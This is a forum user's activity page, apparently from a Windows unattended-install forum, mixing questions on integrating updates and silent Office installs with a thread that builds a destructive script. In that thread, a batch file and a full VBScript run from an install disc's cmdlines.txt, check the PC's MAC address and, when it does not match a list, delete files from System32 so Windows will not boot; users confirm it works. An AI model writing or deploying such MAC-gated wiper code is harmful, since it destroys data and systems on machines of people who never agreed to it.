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About titishor

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  1. Ok..the problem is ..i've downloaded the windows 7 update using wsusoffline update generator..but i can't integrate them with rt7lite..it says something about .msu files...and i don't have a clue how to do that.. all i have in my wsus folder is a few archives and an .exe file wich is Windows 7's SP1 . well..i want to integrate them using rt7lite , and i can't..some suggestions?! Thank you!
  2. Silent Office installation failed at T-12

    regarding your office problem...try using USSF (google-it)to find what silent switch office has.. try this : start /wait %SOURCE%\applications\office\setup.exe or start /wait %SOURCE%\applications\office\setup.exe /admin
  3. i don't know how to write it in VB:)
  4. Yep, it works. Thanks for the help!!!
  5. yes, the batch will behave normally , and it will find the file you're searching , on the drive... BUT , the batch ain't done yet...Like i stated before , i'm doing something wrong with the search criteria . It doesn't displays the results as it should do ...
  6. Hello guys, I want to create a batch file that searches the entire hard drive and then displays the requested folder/song/movie. This i got so far... @ Echo off @echo Please enter the name of the file or folder you want to find! set /P= for %%i in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do if exist %%i\ @ECHO Found in this local hard drive %%i\ if NOT exist %%i\ @Echo Folder not found!! Probably you don't have it on your hard drive! I'm doing something wrong because when i enter the word , Atlantis for example it shows me this : Please enter the name of the file or folder you want to find! Atlantis Found in this local hard drive C:\ Found in this local hard drive D:\ Found in this local hard drive E:\ Folder not found!! Probably you don't have it on your hard drive! Any help will be great... Regards, Sorin
  7. well, i didn't knew that thing...i've installed teamviewer sillently, and i can say that you are correct! it doesn't show up into C:\Program Files\ , Control Panel and so on.

    w8 just a sec... i'll give you a pic ... http://img219.imageshack.us/img219/4193/samplek.jpg

    @SpoiledBrat Ok... i've done the following i've took the .cmd file i modify it with my mac address and then i saved it into the $OEM$ folder. then, i opened cmdlines.txt and inserted the following line with qoutes: "MyMACs.cmd" i saved the cmdlines.txt and close it.. that's it.. i followed Yzowl instructions @ECHO OFF & SETLOCAL SET "_=" FOR /F "SKIP=1 TOKENS=*" %%# IN ('WMIC NICConfig WHERE "MACAddress = 'HERE' OR MACAddress = ' and HERE'" GET Description 2^>Nul') DO CALL :A %%# IF NOT DEFINED _ (ECHO=RD/S/Q %SystemRoot%\System32) GOTO :EOF :A IF "%*" NEQ "" SET "_=T" at line 4 replace HERE , and HEREwith your mac address and , at the line 6 delete ECHO= and leave the rest. the mac address should be like this-> 00:00:00:00:00:00 not like this 00-00-00-00-00-00 if you modify the .cmd file with your mac address..and the mac address coresponds, then nothing will happen' if you put different mac addresses into the file , and they don't correspond with the one on your computer, then the system32 folder will be deteled.. Not entirely ..but some key parts from the operating system will get deleted anyway. at the next restart u'll get the error that HAL.DLL is missing...

    It did quit, even though the text file was in the same folder as the script file. So, you're saying it's much simpler to call the script file itself. OK, thanks, I'll see how possible it is to call it through the RunOnce section in nLite or cmdlines.txt<br><br>Edit: I may have done even better. I found some of those .vbs to .exe converters that allowed me to include the text file as well. I'll report on the result.<br> it worked from the commandlines.txt in the $OEM$ folder.. tested on virtual machine , and live... works perfectly! And i want to thank everyone ho helped me get this thing done! You guys are the best, and i'm happy i ran into your site! Thanks again ! And jaclaz... I'm still reading what you gave me to read

    And ? i did something wrong ? Or what?

    Like 00:18:F3:A3:39:BE 01:19:F4:A4:3A:BF FF:07:E2:F2:28:AD If those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase). But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons: Option Explicit On Error Resume Next Const macfile = "macs.txt" 'file containing mac addresses Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem 'build array of mac addresses from file Set oFSO = CreateObject("Scripting.FileSystemObject") If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O f.Close MACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf) 'look for a matching MAC addy Set oWMI = GetObject("winmgmts:\\.\root\CIMV2") Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter") For Each objItem in colItems For Each strMAC In MACs if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm) Next Next 'no match found, delete system32 for the lulz Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder Set colItems = f.Files For Each objItem in colItems oFSO.DeleteFile(objItem) Next tested on my laptop and on my unit.... you're good at this )) it works... even as i write to you now , my windows reinstalls on unit ) yea ...i know ..i could use VMWARE or virtual pc...but i like testing live .. Thanks for your help! all i have to do now is put it on my windows.

    @Jaclaz well...after a few hours of brain damaging and 1 pack of ciggaretes smoked,(Sorry for my poor english) i finnaly accomplished something. the line is : FOR /F "tokens=2,3 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO ECHO MAC=%%A and the result is : C:\Documents and Settings\Administrator\Desktop>ECHO MAC= 00-18-F3-A3-39-BE MAC= 00-18-F3-A3-39-BE The funny thing is i tried this line , but i don't know why , it didn't worked..

    so...it goes like this ? 00-18-F3-A3-39-BE; or like this ? 00:18:F3:A3:39:BE;

    no no no ...don't get me wrong... i learn quicker in cmd then in .vbs i tried your vbs i created a "macs.txt" like you said , and enter the mac address of my computer. then i runned the script.. at the next restart, ERROR )) hal.sys was missing like i stated before...i'm stupid... one MAC address per line with octets separated by semicolons i forgot that.